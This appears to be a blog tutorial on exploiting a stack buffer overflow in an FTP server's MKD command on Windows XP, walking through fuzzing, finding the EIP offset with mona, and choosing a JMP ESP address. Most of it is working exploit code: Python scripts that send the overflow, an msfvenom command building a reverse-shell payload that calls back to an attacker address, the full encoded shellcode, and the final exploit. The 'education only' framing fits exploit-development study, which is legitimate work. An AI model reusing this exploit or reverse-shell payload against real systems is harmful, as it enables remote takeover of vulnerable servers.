Disclaimer: This post only for education only ! not to cause any destruction on any living system. Be smart!
Pre-requisite:
- This post will not teach you the basic of register memory (EAX, EBX, ECX, EIP, ESP, EBP....etc) so you have to learn it by yourself. Don't be lazy do your research
- This post will not teach you the basics of buffer overflow and how to use the debugger. Again, don't be lazy do your research to follow this content
Setup requirements:
Target
- Windows XP professional pack 3 (you can find it in google)
- Immunity Debugger (windows debugger that supports python lib). Just download the executable file and install it inside your windows xp
- Mona.py (Immunity debugger extension helps us to find an offset to overwrite the EIP). link: https://github.com/corelan/mona
put the mona.py inside the pycommand folder.
After that just click the FTPServer icon and it will automatically start open port 21 and run the program. To check the port type "netstat -an"
Last thing you need to do is to attach the immunity debugger to the FTP program.
note: file > attach > (find the FTPServer) it will automatically load the program.
you can test the setup by just connect to the FTP service.
by default anonymous login is on in this FTP server. Alright cool, let's break the FTP service by fuzzing the service
Breaking the code:
first, we need to generate a pattern string so we know how much offset that we have to provide to overwrite the EIP. Link: https://github.com/Svenito/exploit-patternafter that just copy the value to your python script below:
import socket
evil = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s = socket.socket()
connect = s.connect(("10.2.4.45",21))
s.recv(1024)
s.send('USER Anonymous\r\n')
s.recv(1024)
s.send('PASS Anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + "\r\n")
s.recv(1024)
s.send('QUIT\r\n')
s.close
the python script uses socket library to interact with the FTP server and since we already know that the FTP server is enabled anonymous login we can just use this credential to store our "evil" variable in the FTP server that will crash the service.
run the python script and take a look at the register value, the ESP register is filled with our pattern and the EIP is also overwritten
cool! we got our offset which is 247. You can do this also with mona
type: !mona findmsp
it will tell mona to calculate how many offset in the EIP register, as you can see:
EIP contains normal pattern: 0x69413269 (offset 247)
it matches our first result
now we can update our python script so it can overwrite the EIP:
import socket
evil = "A" *247 + "B"*4
s = socket.socket()
connect = s.connect(("10.2.4.45",21))
s.recv(1024)
s.send('USER Anonymous\r\n')
s.recv(1024)
s.send('PASS Anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + "\r\n")
s.recv(1024)
s.send('QUIT\r\n')
s.close
before you run the python script, you need to reload the FTP server.
and click the icon "play"
then, run the updated script and see the EIP register again
as you can see it overwrite the EIP register to "42424242" which is equivalent to "BBBB"
In simple term, we are able to overwrite the EIP value and control it to point our shellcode
but where we should put our shellcode?
so as you know our input is located in the ESP register, we can just simply put the shellcode in there but we need to navigate the EIP to the ESP. To do that you can use mona by typing:
~#!mona jmp -r esp
this command used to tells the mona to look for the location of assembly code that have "jmp esp"
cool ! it gives us a lot of list on where we can put our shellcode, you can choose any of this location, I just use the first location which is 0x7c9d30d7. You can check the full list in jmp.txt
okay so we have the value of the esp we want to go and how many offsets it takes to overwrite the EIP.
All we need to do know is to generate a shellcode so we can create the reverse shell back to us.
msfvenom --payload windows/shell_reverse_tcp LHOST=10.2.7.62 LPORT=9090 --encoder x86/call4_dword_xor -i 1 --arch x86 --platform windows -b x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d --format python
To generate the shellcode I use msfvenom but you can use the preexist shellcode in the shellstorm (http://shell-storm.org/shellcode/)
our final code will be like this:
import socket
buf = b""
buf += b"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\xab\x94\x96\xfa\x83\xee\xfc\xe2\xf4\x57\x7c"
buf += b"\x14\xfa\xab\x94\xf6\x73\x4e\xa5\x56\x9e\x20\xc4\xa6"
buf += b"\x71\xf9\x98\x1d\xa8\xbf\x1f\xe4\xd2\xa4\x23\xdc\xdc"
buf += b"\x9a\x6b\x3a\xc6\xca\xe8\x94\xd6\x8b\x55\x59\xf7\xaa"
buf += b"\x53\x74\x08\xf9\xc3\x1d\xa8\xbb\x1f\xdc\xc6\x20\xd8"
buf += b"\x87\x82\x48\xdc\x97\x2b\xfa\x1f\xcf\xda\xaa\x47\x1d"
buf += b"\xb3\xb3\x77\xac\xb3\x20\xa0\x1d\xfb\x7d\xa5\x69\x56"
buf += b"\x6a\x5b\x9b\xfb\x6c\xac\x76\x8f\x5d\x97\xeb\x02\x90"
buf += b"\xe9\xb2\x8f\x4f\xcc\x1d\xa2\x8f\x95\x45\x9c\x20\x98"
buf += b"\xdd\x71\xf3\x88\x97\x29\x20\x90\x1d\xfb\x7b\x1d\xd2"
buf += b"\xde\x8f\xcf\xcd\x9b\xf2\xce\xc7\x05\x4b\xcb\xc9\xa0"
buf += b"\x20\x86\x7d\x77\xf6\xfc\xa5\xc8\xab\x94\xfe\x8d\xd8"
buf += b"\xa6\xc9\xae\xc3\xd8\xe1\xdc\xac\x6b\x43\x42\x3b\x95"
buf += b"\x96\xfa\x82\x50\xc2\xaa\xc3\xbd\x16\x91\xab\x6b\x43"
buf += b"\xaa\xfb\xc4\xc6\xba\xfb\xd4\xc6\x92\x41\x9b\x49\x1a"
buf += b"\x54\x41\x01\x90\xae\xfc\x9c\xf8\xac\xaa\xfe\xf8\xab"
buf += b"\xb7\x14\x73\x4d\xfe\x86\xac\xfc\xfc\x0f\x5f\xdf\xf5"
buf += b"\x69\x2f\x2e\x54\xe2\xf6\x54\xda\x9e\x8f\x47\xfc\x66"
buf += b"\x4f\x09\xc2\x69\x2f\xc3\xf7\xfb\x9e\xab\x1d\x75\xad"
buf += b"\xfc\xc3\xa7\x0c\xc1\x86\xcf\xac\x49\x69\xf0\x3d\xef"
buf += b"\xb0\xaa\xfb\xaa\x19\xd2\xde\xbb\x52\x96\xbe\xff\xc4"
buf += b"\xc0\xac\xfd\xd2\xc0\xb4\xfd\xc2\xc5\xac\xc3\xed\x5a"
buf += b"\xc5\x2d\x6b\x43\x73\x4b\xda\xc0\xbc\x54\xa4\xfe\xf2"
buf += b"\x2c\x89\xf6\x05\x7e\x2f\x66\x4f\x09\xc2\xfe\x5c\x3e"
buf += b"\x29\x0b\x05\x7e\xa8\x90\x86\xa1\x14\x6d\x1a\xde\x91"
buf += b"\x2d\xbd\xb8\xe6\xf9\x90\xab\xc7\x69\x2f"
nops = "\x90" * 30
evil2 = "\x41" * 247 + "\xd7\x30\x9d\x7c" + nops + buf + "\x43" * 20
s = socket.socket()
connect = s.connect(("10.2.4.45",21))
s.recv(1024)
s.send('USER Anonymous\r\n')
s.recv(1024)
s.send('PASS Anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil2 + "\r\n")
s.recv(1024)
s.send('QUIT\r\n')
s.close
notice that before the buffer I put some nops (\x90) value to align the memory with our shellcode. It is better to put some nops value before the shellcode because we never know what is going on the memory and by using the nops value we increase the chance of hitting our shellcode.
before you run the script, you need to open a port using Netcat to get the reverse shell:
cool! we just get the reverse connection and we are able to do anything inside the computer on behalf of the FTP but here we got the least-privilege user, to obtain higher privilege you can do privilege escalation. But that is out of the scope
enjoy !!!
source:
http://www.fuzzysecurity.com/tutorials/expDev/2.html
https://medium.com/@johntroony/a-practical-overview-of-stack-based-buffer-overflow-7572eaaa4982
Comments
Post a Comment